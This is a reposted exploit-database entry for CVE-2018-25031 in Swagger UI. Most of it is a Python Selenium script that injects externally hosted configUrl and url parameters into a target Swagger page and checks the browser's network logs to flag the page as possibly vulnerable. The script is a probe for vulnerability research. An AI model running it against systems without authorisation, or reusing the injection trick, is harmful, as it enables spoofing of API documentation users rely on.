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Swagger UI 4.1.3 Critical Information Misrepresentation

CVE Category Price Severity
Author Risk Exploitation Type Date
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023040068

Below is a copy:

Swagger UI 4.1.3 Critical Information Misrepresentation
# Exploit Title: Swagger UI 4.1.3 - User Interface (UI) Misrepresentation of Critical Information
# Date: 14 April, 2023
# Exploit Author: Rafael Cintra Lopes
# Vendor Homepage: https://swagger.io/
# Version: < 4.1.3
# CVE: CVE-2018-25031
# Site: https://rafaelcintralopes.com.br/

# Usage: python swagger-exploit.py https://[swagger-page].com

from selenium import webdriver
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
from selenium.webdriver.chrome.service import Service
import time
import json
import sys

if __name__ == "__main__":

target = sys.argv[1]

desired_capabilities = DesiredCapabilities.CHROME
desired_capabilities["goog:loggingPrefs"] = {"performance": "ALL"}

options = webdriver.ChromeOptions()
options.add_argument("--headless")
options.add_argument("--ignore-certificate-errors")
options.add_argument("--log-level=3")
options.add_experimental_option("excludeSwitches", ["enable-logging"])

# Browser webdriver path
drive_service = Service("C:/chromedriver.exe")

driver = webdriver.Chrome(service=drive_service,
options=options,
desired_capabilities=desired_capabilities)

driver.get(target+"?configUrl=https://petstore.swagger.io/v2/hacked1.json")
time.sleep(10)
driver.get(target+"?url=https://petstore.swagger.io/v2/hacked2.json")
time.sleep(10)

logs = driver.get_log("performance")

with open("log_file.json", "w", encoding="utf-8") as f:
f.write("[")

for log in logs:
log_file = json.loads(log["message"])["message"]

if("Network.response" in log_file["method"]
or "Network.request" in log_file["method"]
or "Network.webSocket" in log_file["method"]):

f.write(json.dumps(log_file)+",")
f.write("{}]")

driver.quit()

json_file_path = "log_file.json"
with open(json_file_path, "r", encoding="utf-8") as f:
logs = json.loads(f.read())

for log in logs:
try:
url = log["params"]["request"]["url"]

if(url == "https://petstore.swagger.io/v2/hacked1.json"):
print("[Possibly Vulnerable] " + target + "?configUrl=https://petstore.swagger.io/v2/swagger.json")

if(url == "https://petstore.swagger.io/v2/hacked2.json"):
print("[Possibly Vulnerable] " + target + "?url=https://petstore.swagger.io/v2/swagger.json")

except Exception as e:
pass

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